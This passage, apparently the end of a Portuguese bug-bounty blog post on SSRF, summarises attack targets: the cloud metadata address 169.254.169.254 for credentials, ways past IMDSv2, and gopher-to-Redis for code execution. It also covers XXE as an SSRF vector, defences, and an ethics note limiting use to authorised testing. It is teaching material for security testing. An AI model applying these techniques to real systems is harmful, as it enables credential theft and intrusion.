  • file:// em cliente HTTP moderno: muitos clientes (libs HTTP atuais) já não aceitam file:///gopher://. Não assuma — teste.
  • XXE que não percebeu que é SSRF: parsers de XML com entidades externas (SYSTEM "http://...") fazem requisição de saída. XXE muitas vezes é um vetor de SSRF.

O que você precisa lembrar

  • SSRF = você escolhe pra onde o servidor faz a requisição. O servidor está dentro da rede; a confiança dele vira sua.
  • Basic (lê a resposta) vale mais que blind (só confirma saída via OAST), mas blind é a porta de entrada — sempre confirme com Collaborator primeiro.
  • O dinheiro está no alvo interno: cloud metadata (169.254.169.254) → credenciais; serviço interno sem auth; gopher+Redis → RCE.
  • Defesa real = allowlist + sem redirect + segmentação de rede + IMDSv2. Blocklist sempre fura.

💡 Dica de ouro: quando achar um SSRF, sua primeira pergunta não é “achei?”, e sim “o que eu controlo?” — só a URL, ou também o método e os headers? Essa resposta decide se você lê IMDSv1 (fácil), fura IMDSv2/GCP/Azure (precisa de header/PUT, ou gopher) ou chega num RCE. O bug é o mesmo; o impacto (e o cheque) muda conforme o alcance.

Nota ética

Tudo aqui é pra testes autorizados — bug bounty dentro do escopo, pentests contratados e labs legais. SSRF dá acesso a infraestrutura interna e credenciais reais; um passo a mais (listar buckets, baixar dados, persistir acesso) deixa de ser “prova de conceito” e vira invasão, com consequências criminais. Confirme o impacto com o mínimo necessário, mascare segredos no report e pare. Use pra proteger, reportar com responsabilidade e ensinar.

Referências


Próximo/relacionado na série: Security Misconfiguration & CVE Hunting (Spring Boot Actuator e gateways internos viram SSRF) · escalar a credencial: Cloud & AWS Misconfiguration · encadear o impacto: Chaining de vulnerabilidades e RCE & Command Injection / SSTI · base: Recon & Discovery · pra reportar: Como escrever um report que paga


📚 Parte do Guia Completo de Bug Bounty — o índice da série, do básico ao avançado.

Esta postagem está licenciada sob CC BY 4.0 pelo autor.
Curtiu? O conteúdo do Acervo de TI é gratuito e sem anúncios. Se te ajudou, você pode retribuir: 💖 GitHub Sponsors ou ☕ um café no PayPal.